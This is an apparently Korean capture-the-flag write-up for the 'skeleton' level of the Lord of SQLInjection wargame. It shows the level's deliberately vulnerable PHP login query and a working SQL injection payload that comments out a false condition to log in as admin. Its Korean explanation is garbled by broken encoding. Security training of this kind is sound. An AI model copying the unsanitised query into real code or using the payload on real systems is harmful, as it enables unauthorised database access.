<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
๋ค์ ๊ฑฐ์ง์ธ ์์ด ์๊ธฐ์ ์ด๋ฅผ ์ฃผ์์ฒ๋ฆฌ ํด์ฃผ์ด์ผ ํ๋ค.
?pw=1' or id='admin'%23
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
darkknight (0) | 2022.04.02 |
---|---|
golem (0) | 2022.04.02 |
vampire (0) | 2022.04.02 |
troll (0) | 2022.04.02 |